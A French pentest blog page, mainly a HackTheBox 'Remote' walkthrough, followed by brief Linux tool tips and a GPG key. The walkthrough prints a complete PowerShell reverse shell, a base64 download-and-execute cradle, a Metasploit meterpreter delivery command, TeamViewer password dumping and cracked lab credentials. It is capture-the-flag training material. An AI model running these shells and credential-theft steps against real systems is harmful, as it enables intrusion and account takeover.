white.h4t.eu

Ici c'est Linux, plaintext et pentest.

Remote HackTheBox

September 06, 2020 — ebsd

image-20200616153931495

Résumé

  • Windows 2019
  • Fuite de mots de passe via un share NFS
  • Faiblesse du CMS Umbraco permettant une RCE aux utilisateurs authentifiés
  • Faiblesse de stockage du mot de passe de Teamviewer
  • Réutilisation du mot de passe Teamviwer pour le compte Administrator

Nmap

kali@kali:~$ nmap 10.10.10.180
Starting Nmap 7.80 ( https://nmap.org ) at 2020-05-27 15:04 EDT
Nmap scan report for 10.10.10.180
Host is up (0.060s latency).
Not shown: 993 closed ports
PORT     STATE SERVICE
21/tcp   open  ftp
80/tcp   open  http
111/tcp  open  rpcbind
135/tcp  open  msrpc
139/tcp  open  netbios-ssn
445/tcp  open  microsoft-ds
2049/tcp open  nfs

On identifie un service nfs. Propose-t-il un share ?

kali@kali:/mnt/App_Data/Logs$ sudo showmount -e 10.10.10.180
Export list for 10.10.10.180:
/site_backups (everyone)

Peut-on monter ce share ?

mount -t nfs 10.10.10.180:/site_backups /mnt

Quelques recherches conduisent au fichier Umbraco.sdf. Fichier de base de données MSSQL.

root@kali:/mnt/App_Data# ls
cache  Logs  Models  packages  TEMP  umbraco.config  Umbraco.sdf

Il s'agit de la base de données Umbraco. Les mots de passe utilisateur seraient-ils accessibles ?

root@kali:~/ strings Umbraco.sdf | head
Administratoradmindefaulten-US
Administratoradmindefaulten-USb22924d5-57de-468e-9df4-0961cf6aa30d
Administratoradminb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}en-USf8512f97-cab1-4a4b-a49f-0a2054c47a1d
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-USfeb1a998-d3bf-406a-b30b-e269d7abdf50
adminadmin@htb.localb8be16afba8c314ad33d812f22a04991b90e2aaa{"hashAlgorithm":"SHA1"}admin@htb.localen-US82756c26-4321-4d27-b429-1b5c7c4f882f
smithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749-a054-27463ae58b8e
ssmithsmith@htb.localjxDUCcruzN8rSRlqnfmvqw==AIKYyl6Fyy29KA3htB/ERiyJUAdpTtFeTpnIk9CiHts={"hashAlgorithm":"HMACSHA256"}smith@htb.localen-US7e39df83-5e64-4b93-9702-ae257a9b9749
ssmithssmith@htb.local8+xXICbPe7m5NQ22HfcGlg==RF9OLinww9rd2PmaKUpLteR6vesD2MtFaBKe1zL5SXA={"hashAlgorithm":"HMACSHA256"}ssmith@htb.localen-US3628acfb-a62c-4ab0-93f7-5ee9724c8d32
@{pv

On découvre le hash du compte admin@htb.local. Le site crackstation.net le connait déjà :

Crackstation.net

| Hash                                     | Type | Result         |
| ---------------------------------------- | ---- | -------------- |
| b8be16afba8c314ad33d812f22a04991b90e2aaa | sha1 | baconandcheese |

On peut désormais accéder au backend d'administration du site web Umbraco.

http://10.10.10.180/umbraco

Je constate qu'il s'agit d'une version 7.12.4 (via le Menu help). Voyons si un exploit existe pour cette version.

kali@kali:/mnt/App_Data/Logs$ searchsploit umbraco 
Umbraco CMS - Remote Command Execution (Metasploit)                                                                          | exploits/windows/webapps/19671.rb
Umbraco CMS 7.12.4 - (Authenticated) Remote Code Execution                                                                   | exploits/aspx/webapps/46153.py
Umbraco CMS SeoChecker Plugin 1.9.2 - Cross-Site Scripting                                                                   | exploits/php/webapps/44988.txt

Il existe une faiblesse dans Umbraco qui autorise une exécution de code à distance.

Une rapide recherche sur le web mène à un script python qui permet cette exécution de code.

root@kali:~# wget https://raw.githubusercontent.com/noraj/Umbraco-RCE/master/exploit.py

Après une rapide analyse du code pyhton, je prévois de :

  1. Préparer un revershell de type powershell
  2. Faire télécharger ce script par la victime au moyen de la vulnérabilité RCE
  3. Executer ce reverse shell pour obtenir un accès à la machine
  4. Enumérer la machine pour tenter d'éléver mes privilèges.

Je prépare un fichier rev-shell.ps1 contenant :

$client = New-Object System.Net.Sockets.TCPClient('10.10.14.8',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Je démarre un listener netcat sur le port 443 de notre machine attaquant, destiné à recevoir à connexion retour de la victime.

$ sudo nc -nlvp 443

Je le mets à disposition via un serveur web sur le port 80 de la machine attaquant.

$ sudo python3 -m http.server 80

Pour éviter les problèmes d'échappement de caractères, j'encode en base 64 la commande qui permet de télécharger et exécuter le reverse shell.

$ echo -n "IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.6/rev-shell.ps1')" | iconv -f UTF8 -t UTF16LE | base64 SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0 ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4A MQAwAC4AMQA0AC4ANgAvAHIAZQB2AC0AcwBoAGUAbABsAC4AcABzADEAJwApAA==

Execution de l'exploit en passant notre commande encodée en argument.

$ python exploit.py -u admin@htb.local -p baconandcheese -i 'http://10.10.10.180' -c powershell.exe -a '-NoProfile -encodedcommand SQB...ApAA=='

Le revershell est téléchargé sur la victime :

image-20200526161204264

Et la connection en retour est bien effectuée.

image-20200526161243636

Le flag user est à portée de main.

PS C:\users\public> cat user.txt cat user.txt 7130ce38b0f1fd9deffd055e1c8e6a2a

priv esc

Passons à l'élévation de privilèges.

C:\windows\system32\inetsrv> hostname
remote
PS C:\windows\system32\inetsrv> systeminfo

Host Name:                 REMOTE
OS Name:                   Microsoft Windows Server 2019 Standard
OS Version:                10.0.17763 N/A Build 17763

On découvre teamviewer 7. Il existe un module metasploit.

image-20200527215451831

D'abord passons à un meterpreter.

msf5 > use exploit/multi/script/web_delivery
msf5 exploit(multi/script/web_delivery) > set PAYLOAD windows/x64/meterpreter/reverse_tcp
PAYLOAD => windows/x64/meterpreter/reverse_tcp
msf5 exploit(multi/script/web_delivery) > set SRVHOST 10.10.14.8
SRVHOST => 10.10.14.8
msf5 exploit(multi/script/web_delivery) >  set LHOST 10.10.14.8
LHOST => 10.10.14.8
msf5 exploit(multi/script/web_delivery) > set target 2
target => 2
msf5 exploit(multi/script/web_delivery) > exploit -j
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 10.10.14.8:4444 
[*] Using URL: http://10.10.14.8:8080/VDmNkZYnkbva
[*] Server started.
[*] Run the following command on the target machine:
msf5 exploit(multi/script/web_delivery) > powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABGAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAEYALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABGAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AOAA6ADgAMAA4ADAALwBWAEQAbQBOAGsAWgBZAG4AawBiAHYAYQAnACkAKQA7AA==

Sur la victime :

PS C:\Program Files (x86)\TeamViewer\Version7> powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABGAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAEYALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABGAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMQAwAC4AMQA0AC4AOAA6ADgAMAA4ADAALwBWAEQAbQBOAGsAWgBZAG4AawBiAHYAYQAnACkAKQA7AA==

Sur l'attaquant :

[*] 10.10.10.180     web_delivery - Delivering Payload (3028) bytes
[*] Sending stage (206403 bytes) to 10.10.10.180
[*] Meterpreter session 1 opened (10.10.14.8:4444 -> 10.10.10.180:49692) at 2020-05-27 15:14:08 -0400
sessions -i 1
[*] Starting interaction with 1...

meterpreter >

Il existe un module post pour les creds Teamviewer : https://vulners.com/metasploit/MSF:POST/WINDOWS/GATHER/CREDENTIALS/TEAMVIEWER_PASSWORDS

L'ajouter à metasploit :

$ cp teamviewer.rb /usr/share/metasploit-framework/modules/post/windows/gather/credentials

msf> reload_all
msf> use post/windows/gather/credentials/teamviewer
msf5 post(windows/gather/credentials/teamviewer) > set session 1
session => 1
msf5 post(windows/gather/credentials/teamviewer) > run

[*] Finding TeamViewer Passwords on REMOTE
[+] Found Unattended Password: !R3m0te!
[+] Passwords stored in: /home/kali/.msf4/loot/20200527153442_default_10.10.10.180_host.teamviewer__301737.txt
[*] <---------------- | Using Window Technique | ---------------->
[*] TeamViewer's language setting options are ''
[*] TeamViewer's version is ''
[-] Unable to find TeamViewer's process
[*] Post module execution completed
msf5 post(windows/gather/credentials/teamviewer) >

image-20200527215329861

Ce mot de passe serait-il "réutilisé" pour le compte Administrateur ?

kali@kali:~$ smbclient \\\\10.10.10.180\\c$ -U administrator
Unable to initialize messaging context
Enter WORKGROUP\administrator's password: 
Try "help" to get a list of possible commands.
smb: \> cd users\administrator\desktop
smb: \users\administrator\desktop\> get root.txt 
getting file \users\administrator\desktop\root.txt of size 34 as root.txt (0.1 KiloBytes/sec) (average 0.1 KiloBytes/sec)
smb: \users\administrator\desktop\> exit
kali@kali:~$ cat root.txt 
c057d1ded1d71fec3eef56223381cd33

Tags: hackthebox

Comments? Tweet  

Clé publique GPG

August 27, 2020 — ebsd

``` -----BEGIN PGP PUBLIC KEY BLOCK-----

mQENBF9FajQBCACo5rzx5BngY8LYk5/he+Rehlv3pwSBNUjceeqPPhrphY4S/Mxv O2tbLTrg2aFYKq/z15kxPomnnBjwrRbBbLHPnFrm7oKxuBnBK/7OTgfCsps1o50p JAyQxfrm2x8YTuvM9YJfnIZ2TO7b0GqWL1RGNAqINF0O+xwvxiY0zZt5tfN8CAKy GmBS9slUIsYL0biYwIXRPEgdMkaQN/Y60z96LuTa1oKCmTRF1NZDAY5krd6xbKNm bEqsiyYOR3D8aFyWI+PyNbj5IWdUIcHOgamaZwvcqxIm5CUcPXvhNs/FhbAuGuPo xwGnfbAAGIDoOV4pLqOfkRDQuQcVZl1zSEVzABEBAAG0F2VyaWMgYnNkIDxjd2Ft QHR1dGEuaW8+iQFUBBMBCAA+FiEEKvnNJdGo3A9WFOAz/P+a2bc17kQFAl9FajQC GwMFCQPCZwAFCwkIBwIGFQoJCAsCBBYCAwECHgECF4AACgkQ/P+a2bc17kSfswgA pGRjy3gAwtzbFGRP4s93o+OSyuEpq0xX/mbXAMajeTAhjr1ftRtsmUDrUs+5mg3K G/oqVnMWhJgR8pt8xPKWbDyGzOkMt1tznTK7rW0hhD0GYSUocDhQ2NtqOpTi5KWQ DJz9LgHX7gVL/zgVLIq6GVWwtL6nMNkeVFeoAfBlbH6hg7ciVvk8xALEwnwdoRYx x9kgJqVIRNUpefqbkSLYkMeE5su/b8+2kje0sNyPCe6nv1wbaejtCO+tbsaDXJuB q/Fwse8tNvqtuBmOmhkLbinA0UO6kpl/l6J52Y7+Nr9Hw0UM9Pm0YfVc9sl1hcCo +FMRb8Ge7vU24UdOkfrworkBDQRfRWo0AQgA2DSIDiy1mwpmuS5Qc0ScybI+DwlL PUGDLsHz+VNIPz2SYFUbh9fvVi3iIIroz6P6ghsgHt4Lj8e/lx+RJ92iCER4/Sdu p5uS+r86b0R5Fuvw6Y7HxVAfT8+uqL0JBmP9nNaj80Ixk/Dz/Qhm9qpDZNfsmf9w u3pO9Uaaev/PX+zrOyQcDBpEHe91JIN9KLwPLvLNLAJCIJ0NCX0wLmwrKiF4WESK C9fqA9wO6qAMVmISq0PHUW46VwmvHXwAl/VYTzPecQRSGxXYBAijkBFyP2lK7XkM 9ucX/BOWS0C/ECVxAEAYQsg52k9InrF9/s1GUD5g03CNgeEmD4z3fKFZLwARAQAB iQE8BBgBCAAmFiEEKvnNJdGo3A9WFOAz/P+a2bc17kQFAl9FajQCGwwFCQPCZwAA CgkQ/P+a2bc17kRWMAf+KdoCSXKMbRcLf9LpbOCpq1gjxIHAPekMfnnlzVfmtRuk UqlsyfUe1hAAVJ7tvvUaM3ws108CsVlB3/L9PwPi8WBcs0+QJF438i3kR7t794yW GaHFox0d2jh22+s1j7sZvw02ug4olP5Ka+PJ9/EL0LaEL8Chvtcts+EEZ9rs3j1c BsA4Hr9xXhBtMiMH2MgKNzAkZd+hUtEpRyLXe9tMHJ386hOUN3nFDBDX9nGDnVYu T94v02zSiGz/Wtf39jdFiPH+SiKgSq1JhXd0To6L3zZqgdPbSHuUy5/INCjKNfVX DCmrgQ9gRvAoH0hww+xl+VZ1y0Gwdkc8VEamYnl7ig== =c/CF -----END PGP PUBLIC KEY BLOCK----- ```

Tags: GPG

Comments? Tweet  

ServMon HackTheBox

June 20, 2020 — ebsd

image-20200616154000328

Intro

Box retirée le 20 juin 2020. Deux vulnérabilités s’enchaînent pour mener l'attaquant à un shell System.

Résumé
  • Un admin laisse le mot de passe d'un utilisateur dans un fichier texte
  • Une application web vulnérable permet de lire ce fichier. Le compte utilisateur est compromis.
  • Une seconde application de métrologie permet à cet utilisateur d'exécuter des commandes en tant que System.

Read more...

Comments? Tweet  

Monteverde HackTheBox

June 13, 2020 — ebsd

Intro

Box retirée le 13 juin 2020. Il s'agit d'un Windows Server 2019. On va utiliser le service Azure AD pour élever nos privilèges.

Points clés :

  • Mot de passe faible sur un compte "technique"
  • Un fichier de configuration est disponible sur un partage
  • Un mot de passe est réutilisé pour 2 fonctions différentes
  • Élévation de privilèges de admin Azure Active Directory à Domain Administrator

Read more...

Comments? Tweet  

La santé de ton hdd est primordiale en ces temps

May 01, 2020 — ebsd

Comment tester l'état de santé de ton précieux disque ? Les smartmontools sont là pour ça !

Où est ton disque ?

$ lsblk
NAME   MAJ:MIN RM   SIZE RO TYPE MOUNTPOINT
sda      8:0    0 223.6G  0 disk 
├─sda1   8:1    0   300M  0 part /boot/efi
└─sda2   8:2    0 223.3G  0 part /
sdb      8:16   0 465.8G  0 disk 
└─sdb1   8:17   0 465.8G  0 part /run/media/ebsd/8e054110-80aa-4857-8344-84b3c460051e

Read more...

Comments? Tweet  

Twtxt microblogging décentralisé

April 24, 2020 — ebsd

Twtxt est un service de microblogging décentralisé et minimaliste pour les hackers :-)

Installation

$ pip3 install twtxt

Configuration

$ twtxt quickstart

Ton premier tweet

$ twtxt tweet "C'est parti !"

Abonne toi

$ twtxt follow ebsd http://white.h4t.eu/twtxt.txt

Lit ta timeline

$ twtxt timeline

Liste des utilisateurs actifs

Cette page est modifiable : https://github.com/mdom/we-are-twtxt/blob/master/we-are-twtxt.txt

Client txtnish

$ git clone https://github.com/mdom/txtnish.git
$ make
$ txtnish quickstart

Tags: linux, plaintext

Comments? Tweet  

Newsboat - un lecteur RSS en ligne de commande

April 14, 2020 — ebsd

Installation

$ sudo pacman -S newsboat

Lancer newsboat

$ newsboat
Starting newsboat 2.19.0...
Loading configuration...done.
Opening cache...done.
Loading URLs from /home/ebsd/.newsboat/urls...done.
Error: no URLs configured. Please fill the file
/home/ebsd/.newsboat/urls with RSS feed URLs or import an OPML file.

Editer ce fichier

$ vi ~/.newsboat/urls

Et ajouter les urls ligne par ligne

http://white.h4t.eu/feed.rss

Il ne reste plus qu'à lire !

$ newsboat

Tags: plaintext

Comments? Tweet  

Covid19 Tracker CLI

April 12, 2020 — ebsd

Les amoureux du terminal apprécieront ce tracker de Coronavirus en ligne de commande.

Le code ISO 3166-1 du pays est à passer par l'url (CH, FR, DE, IT, UK, etc...).

$ curl -L covid19.trackercli.com/ch
╔══════════════════════════════════════════════════════════════════════╗
║ COVID-19 Tracker CLI v3.1.0 - Switzerland Update                     ║
╟──────────────────────────────────────────────────────────────────────╢
║ As of 4/12/2020, 12:22:26 PM [Date:4/12/2020]                        ║
╟─────────────╤──────────────╤───────────╤─────────────╤───────────────╢
║ Cases       │ Deaths       │ Recovered │ Active      │ Cases/Million ║
╟─────────────┼──────────────┼───────────┼─────────────┼───────────────╢
║ 25,300      │ 1,036        │ 12,100    │ 12,164      │ 2,923         ║
╟─────────────┼──────────────┼───────────┼─────────────┼───────────────╢
║ Today Cases │ Today Deaths │ Critical  │ Mortality % │ Recovery %    ║
╟─────────────┼──────────────┼───────────┼─────────────┼───────────────╢
║ 193         │ 0            │ 386       │ 4.09        │ 47.83         ║
╟─────────────╧──────────────╧───────────╧─────────────╧───────────────╢
║ Source: https://www.worldometers.info/coronavirus/                   ║
╟──────────────────────────────────────────────────────────────────────╢
║ Code: https://github.com/warengonzaga/covid19-tracker-cli            ║
╚══════════════════════════════════════════════════════════════════════╝

 Keep calm and carry on...

 ------------------------------------------------------------
 Love this project? Help us to help others by means of coffee!
 (Buy Me A Coffee) warengonza.ga/coffee4dev
 ------------------------------------------------------------
 Follow me on twitter for more updates!
 @warengonzaga #covid19trackercli

Tags: cli

Comments? Tweet  

NAS Maison : Raspberry Pi 4 + Quad Sata HAT

April 11, 2020 — ebsd

En complément de mon serveur VPS en ligne, j'ai récemment acquis un Raspberry Pi 4 et un Quad Sata Hat. Ce dernier permet de connecter jusqu'à 4 disques SATA 2,5p au Raspberry Pi. Parfait pour un RAID qui sécurise mes données. Celles-ci sont synchronisées entre le VPS et le Pi via Syncthing. Je dispose ensuite de backups incémentaux effectués sur les disques du RAID grâce à rsync. Voici quelques infos pour la mise en route du Quad Sata Hat et d'un RAID1 logiciel sous Raspbian. Pour l'exercice, nous devons créer ce RAID mirroir sur 2 disques sans perdre les données déjà présentes sur un des deux disques. Voici une modeste représentation visuelle de mon installation.

<------+  CLOUD  +----->             <---+ HOME +--->
rclone         ___                       ___
crypt         +===+     Syncthing       +===+
+-----------+ |VPS|  <---------------+> |Pi |
|             +___+                  |  +___+
|               ^                    |
|               | syncthing          |  ++ ++ 2 HDD    ++ ++ 2 HDD
v               |                    +> || || RAID1    || || RAID1
gdrive          v                       ++ ++          ++ ++
              Laptop                      +   rsnapshot  ^
                                          +--------------+

Read more...

Comments? Tweet  

Outils et services

April 08, 2020 — ebsd

En ce milieu de 4ème semaine de confinement, je fais le point sur mon outillage quotidien et services en ligne.

Les installables

  • Typora : Mon éditeur Markdown préféré
  • Pandoc : pour générer de magnifiques PDF
  • Slack : Pour échanger avec les collègues
  • Flameshot : pour de superbes captures écran
  • Keepass : pour conserver mes secrets, secret
  • vim : l'éditeur incontournable
  • Unison : pour synchroniser mes fichiers
  • Syncthing : encore pour synchroniser, mais surtout pour radier g--gle drive d'ici. Couplé à un VPS et un Raspberry Pi + le Quad Sata Hat. Vous obtenez une solution de stockage à bas prix et surtout efficace !
  • rsync : pour mes backups incrementaux
  • rsnapshot : idem mais préféré !
  • Manjaro : OS favori pour mon laptop
  • Debian : OS favori pour mes serveurs

Les hébergés

Le quotidien

  • ncdu : pour gérer mon espace disque

Tags: liens

Comments? Tweet  

Anti sèche vim

April 05, 2020 — ebsd

Profitons de cette période de confinement numéro 1 pour réviser.

  • Se déplacer au mot suivant : w
  • Se déplacer au mot précédant : b
  • Fin de ligne : $
  • Début de ligne : ^
  • Aller à la ligne n : nG
  • Aller à la 1ere ligne : 1G
  • Dernière : G
  • Undo : u
  • Joindre la ligne suivante à la ligne courrante : J
  • Numéro de ligne : Ctrl-g ou :set number
  • Copier la sélection : y
  • Copier la ligne : yy
  • Copier n lignes : nyy
  • Copier le mot : yw
  • Copier n mots : nyw
  • Coller après le curseur : p
  • Coller avant le curseur P
  • Supprimer la ligne : dd
  • Supprimer le reste de la ligne : d$
  • Supprimer depuis le début de la ligne : d^
  • Supprimer jusqu'à la fin du fichier : dG
  • Supprimer depuis le début du fichier : d1G
  • Supprimer n lignes : ndd
  • Supprimer n mots : ndw
  • Rechercher vers le bas : /chaine
  • Rechercher vers le haut : ?chaine
  • Répéter la recherche : n
  • Repéter la recherche dans la direction inverse : N
  • Désactiver la sensibilité à la casse : :set ignorecase

Un peu plus loin

  • Supprimer les espaces à la fin de chaque ligne : :%s/\s\+$//e
  • Idem au début de chaque ligne : :%s/^\s+//e
  • Afficher un guide d'indentation (tab) : :set listchars=tab:\|\ puis :set list
  • Indenter (tabulation) un bloc de texte : sélectionner le texte avec V, puis jj>
  • Déplacer le curseur librement : set virtualedit=all

Tags: linux

Comments? Tweet  

Liens

April 04, 2020 — ebsd

Raspberry etc

People

Security

Others

Tags: liens

Comments? Tweet